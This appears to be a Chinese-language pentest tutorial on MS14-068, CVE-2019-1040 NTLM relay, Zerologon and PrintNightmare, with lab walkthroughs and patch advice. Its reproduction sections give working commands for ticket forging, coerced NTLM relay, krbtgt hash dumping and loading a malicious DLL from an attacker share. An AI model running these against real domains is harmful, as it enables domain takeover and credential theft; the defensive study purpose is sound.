跳转至

MS14-068(CVE-2014-6324)

MS14-068 (CVE-2014-6324) 是微软于 2014 年 11 月发布的补丁 (KB3011780) 中修复的一个漏洞,该漏洞允许攻击者以任意用户的权限提升到域管理员帐户权限,漏洞影响 Windows Server 2003 到 Windows Server 2012 R2 期间的 Windows 版本。

若是受影响的 Windows 版本,漏洞自检可在域控命令查询,以下两种方式皆可:

Bash
systeminfo |findstr "KB3011780"

wmic qfe GET hotfixid |findstr "KB3011780"

漏洞利用前提

  • 域控没有打 MS14-068 的补丁(KB3011780)
  • 拿下一台加入域的计算机
  • 有这台域内计算机的域用户密码和 Sid

漏洞成因

Kerberos 认证流程,引用 daiker 师傅的分析 1:

  1. 用户向 KDC 发起 AS_REQ, 请求凭据是用户 hash 加密的时间戳,KDC 使用用户 hash 进行解密,如果结果正确返回用 krbtgt hash 加密的 TGT 票据,TGT 里面包含 PAC,PAC 包含用户的 sid 和用户所在的组。
  2. 用户凭借 TGT 票据向 KDC 发起针对特定服务的 TGS_REQ 请求,KDC 使用 krbtgt hash 进行解密,如果结果正确,就返回用服务 hash 加密的 TGS 票据,这一步不管用户有没有访问服务的权限,只要 TGT 正确,就返回 TGS 票据,这也是 kerberoating 2 能利用的原因,任何一个用户只要 hash 正确,可以请求域内任何一个服务的 TGS 票据。
  3. 用户拿着 TGS 票据去请求服务,服务使用自己的 hash 解密 TGS 票据。如果解密正确,就拿着 PAC 去 KDC 那边询问用户有没有访问权限,域控解密 PAC。获取用户的 sid,以及所在的组,再判断用户是否有访问服务的权限,有访问权限(有些服务并没有验证 PAC 这一步,这也是白银票据能成功的前提,因为就算拥有用户 hash,可以制作 TGS,也不能制作 PAC,PAC 当然也验证不成功)就允许用户访问。

MS14-068 漏洞最本质的地方在于 KDC 无法正确检查 Kerberos 票证请求随附的特权属性证书 PAC 中的有效签名。

PAC 流程:

img

Server 收到 Client 发来的 TGS 后,要根据 TGS 中 Client 申明所在的域组,和 Server 上的 ACL 进行对,然后决定给予 Client 什么样的资源访问权限。

微软使用 PAC 来表示 TGS 中 Client 申明的域组。PAC(Privilege Attribute Certificate),特权属性证书。

PAC 包含 Client 的 User 的 SID、Group 的 SID。PAC 决定了 Client 的组属性,即决定了 Client 的权限 PAC 为了保证自身的合法性,还包含 2 个签名,Key 为 krbtgt 的 NTLM,签名的内容除了 User SID、Group SID 外,还有其他部分 PAC 作为 TGT 的一部分,是加密的,密钥为 krbtgt 的 NTLM 作 Client 向 KDC 的 AS 模块发起认证请求,AS 返回 TGT 时,会根据 Client 所在的组,生成 PAC,包含 Client 的 User SID、Group SID,以及用于确保 PAC 不被篡改的 2 个签名

img

将 PAC 作为 TGT 的一部分,发送给 Client, Client 使用 TGT 向 KDC 的 TGS 模块发起访问 Server 服务时,KDC 的 TGS 模块首先解密 TGT,并通过校验 2 个签名,以验证 PAC 的合法性。如果通过验证,KDC 的 TGS 模块用 2 个新的签名替代老的签名来保证 PAC 不被篡改。第一个签名的密钥为 Server 的 NTLM,第二个密钥为 Server 与 Client 的临时会话密钥

重新签名后的 PAC 被放置在签发的访问票据 TGS 中,使用 Server 的 NTLM 作为密钥被加密保护 Server 收到来自 Client 的 TGS 后,解密 TGS 验证合法性,校验 PAC 中的 2 个签名,确认 PAC 的合法性,然后确认 Client 的访问权限

Client 在发起认证请求时,通过设置 include-PAC 为 False, 则返回 TGT 中不会包含 PAC

img

img

KDC 对 PAC 进行验证时,对于 PAC 尾部的签名算法,虽然原理上规定必须是带有 Key 的签名算法才可以,但微软在实现上,却允许任意签名算法,只要客户端指定任意签名算法,KDC 服务器就会使用指定的算法进行签名验证。因此伪造的任意内容都可以是合法的,直接加上内容的 MD5 值作为签名即可(第一个原因)

PAC 没有被放在 TGT 中,放在其它地方。KDC 在仍然能够正确解析出没有放在 TGT 中的 PAC 信息,PAC 必须是密文,经过 Key 加密的 KDC 会从 Authenticator 中取出来 subkey,把 PAC 信息解密并利用客户端设定的签名算法验证签名(第二个原因)

KDC 验证缺少 PAC 的 TGT 成功后,再验证不在 TGT 中的 PAC 的合法性。如果 2 个均验证成功,KDC 把 PAC 中的 User SID、Group SID 取出来,重新使用进行签名,签名算法和密钥与设置 inclue-pac 标志位为 TRUE 时一模一样。将将新产生的 PAC 加入到解密后的 TGT 中,再重新加密制作全新的 TGT 发送给 Client,不是 TGS(第三个原因)

漏洞点具体分析如下,引用 Y4er 师傅的文章 3:

  1. 在 KDC 对 PAC 进行验证时,对于 PAC 尾部的签名算法,虽然原理上规定必须是带有 Key 的签名算法才可以,但微软在实现上,却允许任意签名算法,只要客户端指定任意签名算法,KDC 就会使用指定的算法进行签名验证。
  2. PAC 没有被放在 TGT 中,而是放在了 TGS_REQ 数据包的其它地方。但可笑的是,KDC 在实现上竟然允许这样的构造,也就是说,KDC 能够正确解析出放在其它地方的 PAC 信息。
  3. 只要 TGS_REQ 按照刚才漏洞要求设置,KDC 服务器会做出令人吃惊的事情:它不仅会从 Authenticator 中取出来 subkey 把 PAC 信息解密并利用客户端设定的签名算法验证签名,同时将另外的 TGT 进行解密得到 SessionKeya-kdc。
  4. 在验证成功后,把解密的 PAC 信息的尾部,重新采用自身 Server_key 和 KDC_key 生成一个带 Key 的签名,把 SessionKeya-kdc 用 subkey 加密,从而组合成了一个新的 TGT 返回给 Client-A。

漏洞利用

利用 impacket 下的 goldenPac.py 或者 Windows 环境下的 goldenPAC.exe,这个工具是 ms14-068 与 psexec 的结合,使用最方便快捷。

Bash
goldenPac.py
python3 goldenPac.py zjun.com/user1:P@ssw0rd@P-DC.zjun.com -dc-ip 172.16.86.136 -target-ip 172.16.86.136 -debug

# goldenPac.exe
goldenPac.exe zjun.com/user1:P@ssw0rd@P-DC.zjun.com

其他的如:msf (ms14_068_kerberos_checksum 模块)、kekeo、pykek 都可以实现漏洞利用:

Bash
msf
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum

# kekeo
exploit::ms14068 /domain:zjun.com /user:user1 /password:P@ssw0rd /sid:S-1-5-21-2335421620-514153290-284

NTLM MIC 绕过漏洞(CVE-2019-1040)

漏洞背景

2019 年 6 月 11 日,微软发布 6 月份安全补丁更新。在该安全补丁更新中,对 CVE-2019-1040 漏洞进行了修复。该漏洞存在于 Windwos 大部分版本中,当中间人攻击者能够成功绕过 NTLM 消息完整性校验(MIC)时,Windows 存在可能可篡改的漏洞。成功利用此漏洞的攻击者可以获得降级 NTLM 安全功能的能力。要利用此漏洞,攻击者需要篡改 NTLM 交换,然后修改 NTLM 数据包的标志,而不会使签名无效。结合其他漏洞和机制,在某些场景下,攻击者可以在仅有一个普通账户域账户的情况下接管全域。

漏洞原理

该漏洞关键之处在于安全研究员能绕过 NTLM 消息完整性的校验,那么安全研究员是如何实现的呢?

由于 Windwos 服务器允许无消息完整性校验的 NTLM Authenticate 消息,因此该漏洞绕过消息完整性校验的思路是取消数据包中的 MIC 标志,操作如下:

  • 从 NTLM Authenticate 消息中删除 MIC 字段和 Version 字段,如图所示:

图片.png

  • 将 Negotiate Version 标志位设置为 Not set,如图所示:

图片.png

漏洞完整利用链

绕过 NTLM 的消息完整性校验只是第一步,之后能做什么呢?

漏洞完整利用链需要结合 NTLM Relay。完整的攻击链如下:

1)使用域内任意有效账户,通过 SMB 连接到目标机器,使用 Print Spooler 漏洞或者 PetitPotam 漏洞强制触发目标机器向指定的机器进行 NTLM 认证;

2)中继服务器收到目标机器的 NTLM 认证流量后,通过删除相应的字段绕过 NTLM 的完整性校验并修改 NTLM 数据包的标志位使得其从 SMB 协议中继到 LDAP 不需要签名;

3)使用中继的 LDAP 流量,通过 LDAP 远程连接域控,执行高权限操作,赋予指定的账户高权限;

4)使用提升了权限的账户进行“后利用”,接管全域。

触发目标 NTLM 请求

攻击者需要向目标机器发起 NTLM 请求才能进行 NTLM Relay 利用,这里可以利用使用 Print Spooler 漏洞或者 PetitPotam 漏洞强制触发目标机器向指定的机器进行 NTLM 认证

LDAP 签名绕过

由于通过 Print Spooler 漏洞和 PetitPotam 漏洞触发的 NTLM 认证都是基于 SMB 协议的,因此安全研究员需要将 SMB 协议的身份验证流量通过 LDAP 中继到域控。但是 NTLM 认证的工作方式决定了无法直接将 SMB 协议流量中继到 LDAP。默认情况下,客户端和域控或 Exchange 服务器进行 SMB 通行时,是强制要求签名的。其 NTLM 身份验证流量的如下标志均为 Set,如图所示:

  • Negotiate Key Exchange;
  • Negotiate Always Sign;
  • Negotiate Sign。

图片.png

此时将 SMB 流量中继到 LDAP 时,由于 Negotiate Sign 和 Negotiate Always Sign 标志为 Set,该标志位触发 LDAP 签名。而安全研究员又无法伪造签名,因此会被 LDAP 忽略,导致攻击失败。前面提到了 CVE-2019-1040 的关键就在于安全研究员能绕过 NTLM 的消息完整性校验,导致可以任意修改 NTLM 认证的的数据包。因此安全研究员在绕过消息完整性校验之后,可以修改流量的标志位已协商不开启 LDAP 签名校验。具体措施是将以下标志位设置为 Not Set,如图所示:

  • Negotiate Key Exchange;
  • Negotiate Always Sign;
  • Negotiate Sign。

图片.png

攻击目标的选择

攻击目标可以是域内的任意机器。这里以域控和 Exchange 服务器为列,原因在于默认情况下两者在域内具有最高权限,对其进行攻击可以直接接管全域。

(1)攻击 Exchange 服务器

使用任何有效域用户,利用 Print Spooler 漏洞或者 PetitPotam 漏洞强制触发目标 Exchange 服务器向安全研究员主机进行 NTLM 认证。安全研究员主机接收到目标 Exchange 服务器的认证流量后,通过修改 NTLM 认证数据包绕过 NTLM 的消息完整性校验和 LDAP 签名,将其认证流量通过 LDAP 中继到域控。使用中继的 LDAP 身份验证,为安全研究员指定的账户赋予 DCSync 权限,然后使用指定账户利用 DCSync 权限转储活动目录中所有密码 Hash,即可接管全域。

(2)攻击域控

使用任一有效域用户,在域内创建一个可控的机器账户。然后使用 Print Spooler 漏洞或者 PetitPotam 漏洞强制触发目标域控向安全研究员机器进行 NTLM 认证。安全研究员机器接收到目标域控的认证流量后,通过修改 NTLM 认证数据包绕过 NTLM 的消息完整性检验和 LDAP 签名,将其认证流量到 LDAP 中继到另一个域控。使用中继的 LDAP 身份验证,为安全研究员指定的可控机器账户赋予基于资源的约束性委派权限,然后利用该机器账户申请访问目标域控的服务票据,即可接管全域。

漏洞利用细节分析

参考文章:https://www.freebuf.com/vuls/207399.html

漏洞影响版本

  • Windwos 7 SP 1 至 Windows 10 1903;
  • Windows Server 2008 至 Windows Server 2019

漏洞复现

下面通过攻击 Exchange 服务器和域控来演示漏洞复现:

攻击 Exchange 服务器

实验环境如下:

  • 域控:192.168.41.10
  • Exchange 服务器:192.168.41.50,主机名:Exchange
  • 安全研究员:192.168.41.19
  • 普通域用户:hack\hack,密码为 Admin123

整个利用链如图所示:

图片.png

首先在安全研究员机器中执行如下的命令进行监听:

Text Only
python3 ntlmrelayx.py --remove-mic --escalate-user hack -t ldap://192.168.41.10 -smb2support --no-dump -debug

图片.png

参数的含义如下:

  • --remove-mic:用于绕过 NTLM 的消息完整性校验
  • --esclate-user: 用于指定用户 DCSync 权限
  • -t: 将认证凭据中继到指定 LDAP
  • -smb2support: 用于支持 SMB2 协议
  • --no-dump: 表示获得 DCSync 权限后不导出域内所有用户的 Hash
  • -debug:用于显示日志信息

接着安全研究员使用 printbug.py 脚本执行如下的命令,以用户 hack\hack 身份连接 Exchange 服务器,触发 Exchange 服务器的 Print Spooler 漏洞,该漏洞会强制触发目标 Exchange 服务器向指定的安全研究员机器进行 NTLM 认证,如图所示:

脚本下载地址:https://github.com/dirkjanm/krbrelayx

Text Only
python3 printerbug.py hack/hack:Admin123@192.168.41.50 192.168.41.19

图片.png

然后安全研究员就可以收到目标 Exchange 服务器发过来的 NTLM 认证流量了,再将此 NTLM 认证流量绕过 NTLM 的消息完整校验并修改 LDAP 协商数据包中的相应标志位来使得协商不需要签名。再通过 LDAP 中继给到域控,LDAP 中执行的高权限操作是赋予用户 hack DCSync 权限。

如图所示,可以看到该脚本首先会遍历中继的机器账户的权限,发现目标 Exchange 服务器的机器账户在域内的机器账户拥有创建和修改域 ACL 的权限。接着该脚本会修改域的 ACL 来提权,因为它相比创建高权限用户更为隐蔽。通过修改用户 hack 的 ACL,为其赋予 DCSync 权限。

图片.png

域普通用户 hack 被赋予 DCSync 权限后,可以直接导出域内所有用户的 Hash。此时使用 secretsdump.py 脚本执行如下的命令,即可导出账户 Krbtgt 的 Hash。

Text Only
python3 secretsdump.py hack.com/hack:Admin123@192.168.41.10 -just-dc-user krbtgt

图片.png

攻击域控

攻击域控需要目标域内至少存在两台域控:一台用于触发 Print Spooler 漏洞或 PetitPotam 漏洞,另一台用于继中 LDAP 流量执行高权限操作(同一机器的流量中继回去会失败)。

攻击域控有以下两种情况: 1)目标域支持 LDAPS:可以直接利用 ntlmrelaxy.py 脚本中继时创建的机器账户并赋予委派的权限(远程添加用户,需要 LDAPS) 2)目标域不支持 LDAPS:可以首先自己创建一个机器账户,然后赋予委派权限。以下实验基于这种情况。

实验环境如下:

  • 域控 1:192.168.41.10,主机名为: DC
  • 域控 2:192.168.41.40,主机名为:DC2
  • 安全研究员:192.168.41.19
  • 普通域用户:hack\hack,密码为 Admin123

整个利用链,如图所示:

图片.png

安全研究员以普通域账户 hack\hack 的身份在域内主机上使用 Powershell 脚本执行如下的命令创建一个机器账户的 machine$, 密码为 root。

Text Only
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount machine_account

图片.png

然后在安全研究员机器 192.168.41.19 上执行如下的命令进行监听:

Text Only
#目标域不支持LDAP,可以使用如下的命令,指定刚刚创建的机器账户machine$
python3 ntlmrelayx.py -t ldap://192.168.41.10 -smb2support --remove-mic --delegate-access --escalate-user machine\\$
#目标域支持LDAP,可以使用如下的命令,会自动创建机器账户
python3 ntlmrelayx.py -t ldaps://192.168.41.10 -smb2support --remove-mic --delegate-access 

图片.png

参数的含义如下:

  • -t:将认证凭据中继到指定 LDAP
  • -smb2support:用于支持 SMB2 协议
  • --remove-mic:用于绕过 NTLM 的消息完整校验性
  • --delegate-access:用于指定委派
  • --escalate-user:指定需要赋予委派权限的用户

接着使用 printbug.py 脚本执行如下的命令,使用户 hack\hack 连接域控 DC2,触发域控 DC2 的 Print Spooler 漏洞,该漏洞会强制触发目标域控 DC2 向安全研究员机器进行 NTLM 认证。

Text Only
python3 printerbug.py hack.com/hack:Admin123@192.168.41.40 192.168.41.19

图片.png

然后就可以收到目标域控 DC2 发过来的 NTLM 认证流量了,再将此 NTLM 认证流量绕过 NTLM 的消息完整性的校验并修改 LDAP 协商的数据包中的相应标志位来使得协商不需要签名。再通过 LDAP 中继到域控 DC,LDAP 中执行的最高权限的操作是赋予机器账户 machine$对域控 DC2 的基于资源的约束性委派的权限。

如图所示,可以看到机器账户 machine$已经拥有对域控 DC2 基于资源的约束性委派了。

图片.png

此时机器账户 machine$已经拥有对域控 DC2 基于资源的约束性委派权限了,可以执行如下的命令进行后利用,如图所示,利用完成后即可导出域内任意用户的 Hash,也可以直接远程连接域控 DC2。

Text Only
#以Administrator身份申请访问DC2机器的CIFS票据
python3 getST.py -spn cifs/DC2.hack.com hack/machine\\$:root -dc-ip 192.168.41.10 -impersonate administrator
#导入申请的服务票据
export KRB5CCNAME=administrator.ccahe
#导出域内用户的krbtgt的Hash
python3 secretsdump.py -k -no-pass DC2.hack.com -just-dc-user krbtgt
#远程连接DC2机器
python3 smbexec.py -no-pass -k DC2.hack.com -codec gbk

图片.png

图片.png

防御手段

安装官方补丁

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1040

https://nsfocusglobal.com/windows-ntlm-tampering-vulnerability-cve-2019-1040-threat-alert/

安装完后需要重启服务器

其他缓解措施

1) 强制执行 SMB 签名,开启域中所有服务器的强制 SMB 执行功能 (在 Windows 域环境下,默认只有域控服务器开启了强制 SMB 签名)

2) 尽量不使用 NTLMv1,因为 NTLMv1 的安全性较低,可以通过设置 GPO 来完全禁止

3) 启用所有域控服务器的强制 LDAPS Channel Binding 功能 (此功能默认不启用。启用后有可能造成兼容性问题。)

4) 启用所有域控服务器的强制 LDAP Signing 功能,防止 LDAP 中的 NTLM 中继 (此功能默认不启用。启用后有可能造成兼容性问题。)

5) 开启 EPA,防止 Web 服务器上的 NTLM 中继,强制所有 Web 服务器(OWA,ADFS)只接受 EPA 的请求

6) 开启所有重要服务器(比如所有 Exchange 服务器)上相关应用的 Channel Binding 功能(如 IIS 的 Channel Binding 功能)

7) 减少使用 NTLM,即使是安全配置和完全修补的 NTLM 也比 Kerberos 更不安全

NetLogon 权限提升漏洞(CVE-2020-1472)

漏洞描述

Text Only
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1472

1651759770_6273da9a3f6b05fb0153a.png! small?1651759773342 当攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器的易受攻击的 Netlogon 安全通道连接时,就会存在特权提升漏洞,即“Netlogon 特权提升漏洞”。

2020 年 8 月 11 号,微软修复了 Netlogon 特权提升漏洞,2020 年 9 月 11 日,Secura 高级安全专家 Tom Tervoort 和技术总监 Ralph Moonen 于 2020 年 9 月 11 日发表的博文和白皮书,阐明了漏洞细节,之后相关的 EXP 也就被构造出来。该漏洞也称为“Zerologon”,CVSS 评分为 10.0,号称 3 秒撸域控,危害严重。攻击者在通过 NetLogon(MS-NRPC)协议与 AD 域控建立安全通道时,可利用该漏洞将 AD 域控的计算机账号密码置为空,从而控制域控服务器。 1651759775_6273da9f1f6fc44f2cbe9.png! small?1651759782628

Netlogon 协议

Netlogon 远程协议是远程过程调用 (RPC) 协议,它在 Windows 网络上执行与 Active Directory 身份验证相关的各种功能。例如,它可用于重置机器密码或备份域控制器的用户数据库。然而,最常见的应用是通过 NTLM 协议促进远程登录。

NTLM 协议的目的是允许域用户登录到网络中的远程系统,例如提供文件共享的服务器或 Intranet 网站。虽然自 Windows 2000 推出以来该协议已被 Kerberos 取代,但它仍然被广泛使用和支持。默认情况下,几乎所有支持 Kerberos 身份验证的 Windows 服务也允许客户端使用 NTLM 登录。

当某人成功通过 Windows 域的身份验证时,会计算其密码的 MD4 哈希(也称为“NTLM 哈希”)。域控制器还存储所有用户密码的 MD4 哈希值。当客户端随后想要使用 NTLM 对服务进行身份验证时,该服务将向客户端发送随机咨询。为了证明用户的身份,客户端将使用加密 MAC(消息验证码)进行响应,该 MAC 使用用户的密码哈希作为密钥在咨询上计算得出。

当有问题的服务不在域控制器本身上运行时,它实际上无法访问密码哈希,因此无法验证 MAC 是否正确。在这种情况下,运行该服务的系统将与域控制器建立连接,并向其发送咨询以及从客户端收到的响应。域控制器将验证 MAC,并通知服务它是否有效。如果不是,那可能意味着用户输入了错误的密码。但是,如果身份验证成功,域控制器还将通知服务用户属于哪些组,并为其提供秘密会话密钥。运行服务的机器和域控制器之间的这种信息交换利用了 Netlogon 远程协议。 1651759783_6273daa752ece9442746a.png! small?1651759783895 该图是 NTLM 身份验证协议的正常运行流程和服务器与 DC 之间的连接使用 Netlogon 协议。

影响版本

Text Only
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

环境配置

1651759789_6273daad31989b7138b56.png! small?1651759790123 该图是简单的攻击网络拓扑图,当通过公网服务获得子域普通用户(web 服务器)权限进入内网后,首先就是快速定位到域控所在的位置!

漏洞复现

参考文章:https://www.freebuf.com/vuls/332147.html

漏洞原理

为何机器用户修改完密码之后会脱域

dirkjanm 大佬在**https://twitter.com/_dirkjan/status/1306280553281449985**已经说的很清楚了。最主要的原因是 AD 里面存储的机器密码跟本机的 Lsass 里面存储的密码不一定导致的!接下来将翻译 dirkjanm 大佬的解答!

正常情况下,AD 运行正常时有一个 DC 和一个服务器。他们彼此信任因为他们有一个共享的 Secret(机器帐户密码),他们可以使用它彼此通讯并建立加密通道。两台机器上的共享 Secret 是相同的:

尝试登录服务器的用户可以通过带有服务票证的 Kerberos 进行登录。该服务票证由 DC 使用机器帐户密码加密,服务器具有相同 Secret,可以解密票证(TGT)并知道其合法性,因此利用 TGT 用户获得访问权限:

所以借助 Zerologon 攻击,攻击者可以更改 AD 中计算机帐户的密码,从而在一侧更改 Secret。更改后服务器无法再在域上登录,在大多数情况下,服务器仍将具有有效的 Kerberos 票证,因此某些登录仍将起作用!

用 NTLM 登录也不行,因为使用 AD 帐户登录已建立通过安全通道(通过相同的 netlogon 协议 zerologon 滥用)在 DC 上进行了验证,但是无法建立此通道,因为信任中断,并且服务器再次引发错误: 1651760182_6273dc36d6d13b87b775d.png! small?1651760216984

但是在最常见的特权升级中,就算将 DC 作为攻击目标置空攻击,它们的密码存储方式有多种都在单个主机上运行,DC 也有多个存储凭据的位置,像服务器一样,DC 拥有一个带有密码的机器帐户,该帐户以加密方式存储在注册表中,引导时将其加载到 lsass.exe 中。如果我们使用 Zerologon 更改密码,则仅 AD 中的密码会更改,而不是注册表或 lsass 中的密码。 1651760157_6273dc1d616af5da565cf.png! small?1651760188116

利用后每当发出新的 Kerberos 票证时,都会遇到与服务器相同的问题,DC 无法使用 lsass 中的机器帐户密码来解密服务票证,并且无法使用 Kerberos 中断身份验证! 1651760157_6273dc1d767399b8ca207.png! small?1651760197787

对于 NTLM 则有所不同。在 DC 上似乎没有使用计算机帐户,但是通过另一种方式验证了 NTLM 登录,使得可以使用 DC 计算机帐户的空 NT 哈希值进行 DCSync 读取!

如果您真的想使用 Kerberos,我想它可以与 2 个 DC 一起使用,DC 之间的同步可能会保持一段时间,因为 Kerberos 票证仍然持续有效。因此一旦将 DC1 的新密码同步到 DC2,就可以使用 DC1 的帐户与 DC1 同步!

之所以起作用,是因为 DC2 的票证已使用 DC2 机器帐户的 kerberos 密钥进行了加密,而密钥没有更改!

NRPC 那么多函数,是不是一定得重置密码

已经绕过了 netlogon 的权限校验,那么 netlogon 里面的 RPC 函数那么多,除了重置密码,有没有其他更优雅的函数可以用来利用呢?

我们可以在 API 文档里面开始寻觅,事实上在 impacket 里面的 impacket/tests/SMB_RPC/test_nrpc.py 里面已经基本实现了调用的代码,我们只要小做修改,就可以调用现有的代码来做测试,我们将认证部分,从账号密码登录替换为我们的 Poc:

Python
def connect(self):
        if self.rpc_con == None:
            print('Performing authentication attempts...')
            for attempt in range(0, self.MAX_ATTEMPTS):
                self.rpc_con = try_zero_authenticate(self.dc_handle, self.dc_ip, self.target_computer)
                if self.rpc_con == None:
                    print('=', end='', flush=True)
                else:
                    break
        return self.rpc_con

将 Authenticator 的实现部分也替换下就行:

Python
def update_authenticator(self):
        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        # authenticator ['Credential'] = nrpc.ComputeNetlogonCredential(self.clientStoredCredential, self.sessionKey)
        # authenticator ['Timestamp'] = 10
        authenticator['Credential'] = b'\x00' * 8
        authenticator['Timestamp'] = 0
        return authenticator

然后其他地方根据报错稍微修改就可以了。我们开始一个个做测试:

这块基本是是建立安全通道的,设置密码已经使用了,除去认证,设置密码,还有一个查看密码。遗憾的是 EncryptedNtOwfPassword 是使用 sesson_key 参与加密的,我们不知道 sesson_key,也就无法解密!

其他的函数整体试了下,也没有找到几个比较方便直接提升到域管权限的。大家可以自行寻觅。

事实上,dirkjanm 也研究了一种无需重置密码,借助打印机漏洞 relay 来利用改漏洞的方法,但是由于 Rlay 在实战中的不方便性,整体来说并不比重置密码好用,这里不详细展开,大家可以自行查看文章:

Text Only
different way of abusing Zerologon (CVE-2020-1472):
https://dirkjanm.io/a-different-way-of-abusing-zerologon/

参考文章:https://www.freebuf.com/vuls/332147.html

修复建议

官方升级

目前微软官方已针对受支持的系统版本发布了修复此漏洞的安全补丁,强烈建议受影响用户尽快安装补丁进行防护,官方下载链接:

Text Only
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472

注: 由于网络问题、计算机环境问题等原因,Windows Update 的补丁更新可能出现失败。用户在安装补丁后,应及时检查补丁是否成功更新。

右键点击 Windows 图标,选择“设置(N)”,选择“更新和安全”-“Windows 更新”,查看该页面上的提示信息,也可点击“查看更新历史记录”查看历史更新情况。

针对未成功安装的更新,可点击更新名称跳转到微软官方下载页面,建议用户点击该页面上的链接,转到“Microsoft 更新目录”网站下载独立程序包并安装。

其他防护措施

在安装更新补丁后,还可通过部署域控制器 (DC) 强制模式以免受到该漏洞影响,请参考官方文档进行配置:

Text Only
《如何管理与 CVE-2020-1472 相关的 Netlogon 安全通道连接的更改》:
https://support.microsoft.com/zh-cn/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc

Windows Print Spooler 漏洞

漏洞概述

2021 年 6 月 9 日,微软发布 6 月安全更新补丁,修复了 50 个安全漏洞,其中包括一个 Windows Print Spooler 权限提升漏洞(CVE-2021-1675),该漏洞被标记为提权漏洞。普通用户可以利用此漏洞以管理员身份在运行打印后台处理程序服务的系统上执行代码。然而在 6 月 21 日,微软又将该漏洞升级为远程代码执行漏洞。

2021 年 6 月 29 日,有安全研究员在 github 公布了打印机漏洞利用 exp。但是令人没想到的是,该漏洞利用 exp 针对的漏洞是一个与 CVE-2021-1675 类似但不完全相同的漏洞,并且微软针对该漏洞并没有推送更新补丁,所以也就意味着这是一个 0day 漏洞,这个 0day 漏洞被称为 PrintNightmare,最新的漏洞编号为 CVE-2021-34527。

Print Spooler 是 Windows 系统中用于管理打印相关事务的服务,在 Windows 系统中用于后台执行打印作业并处理与打印机的交互,管理所有本地和网络打印队列及控制所有打印工作。该服务对应的进程 spoolsv.exe 以 SYSTEM 权限执行,其设计中存在的一个严重缺陷,由于 SeLoadDriverPrivilege 中鉴权存在代码缺陷,参数可以被攻击者控制,普通用户可以通过 RPC 触发 RpcAddPrinterDrive 绕过安全检查并写入恶意驱动程序。如果一个域中存在此漏洞,域中普通用户即可通过连接域控 Spooler 服务,向域控中添加恶意驱动,从而控制整个域环境。

影响范围

  • Windows 7
  • Windows 8.1
  • Windows Server 2008
  • Windows Server 2012
  • Windows Server 2016
  • Windows Server 2019
  • Windows 10

漏洞利用流程

  1. 首先我们搭建一个 SMB 匿名共享,放我们的恶意 dll 文件。
  2. 然后执行利用工具,工具运行后会先检测 C:\Windows\System32\DriverStore\FileRepository 目录下 ntprint.inf_amd64_xx 文件名,自动替换。
  3. 然后远程拉取我们设置的匿名共享的恶意 dll 文件
  4. py 脚本会将我们的恶意 dll 文件传到域控的 C:\Windows\System32\spool\drivers\x64\3 目录下并执行。 而 mimikatz 则是将我们的恶意 dll 文件传到域控的 C:\Windows\System32\spool\drivers\x64\old\2 目录下并执行(会创建 old\2\目录)。

漏洞复现

检测漏洞是否存在

先检测目标机器是否开启 MS-RPRN 服务,存在即可以尝试利用:

Text Only
python3 rpcdump.py @10.211.55.14 | grep MS-RPRN

创建匿名 SMB 共享

Linux

samba 服务的配置文件在 /etc/samba/smb.conf,其中里面主要包含三个部分(配置简介、全局变量、共享服务配置),这里对配置文件的内容详细不做解释,只对用到的做解释。

在 [global] 下添加 map to guest = Bad User,并写入新的共享服务信息,输入正确的时候颜色提示绿色

Bash
配置好的文件如下,只加了 map to guest = Bad User 和 [AlunFiles] 的内容
[global]
        workgroup = SAMBA
        security = user
        passdb backend = tdbsam
        printing = cups
        printcap name = cups
        load printers = yes
        cups options = raw
        # 简单理解就是配置了这一串就不用用户名密码也可以访问了
        map to guest = Bad User

[AlunFiles]
        # 注释,说明改共享文件的信息
        comment = This is  Alun's folder!
        # 共享目录的路径 绝对路径
        path = /mnt/folder1
        # 是否允许匿名访问
        public = yes

用 testparm 命令测试是否格式正确

Bash
testparm

重启服务

Bash
systemctl status smb.service # 查看状态
systemctl start smb.service # 启动
systemctl stop smb # 停止 service 可以要可以不要
systemctl restart smb # 重启 关掉再启动
systemctl reload smb # 重载 如果修改了配置文件但服务器又有人在用 就可以选择重载避免服务器短时间“宕机”

Windows

Text Only
mkdir C:\share
# 在执行mkdir后需要放入恶意dll文件才能继续执行以下命令
icacls C:\share\ /T /grant "ANONYMOUS LOGON":r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# 执行完以上语句后,部分机器需要重启

在 Windows7、Windows Server 2008 上执行 powershell 会报错

解决方法:RDP 登录机器,图形化界面找到共享文件夹,更改属性中的共享,添加 Everyone

漏洞利用

python 攻击

Bash
python3 CVE-2021-1675.py xie.com/test:P@ss1234@10.211.55.14 '\\10.211.55.7\share\1.dll'

mimikatz 攻击

Text Only
mimikatz.exe
misc::printnightmare /server:10.211.55.14 /library:\\10.211.55.7\share\1.dll

漏洞防御

  • 官方升级

目前微软官方已针对支持的系统版本发布了修复该漏洞的安全补丁,强烈建议受影响用户尽快安装补丁进行防护,官方下载链接: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675

注:由于网络问题、计算机环境问题等原因,Windows Update 的补丁更新可能出现失败。

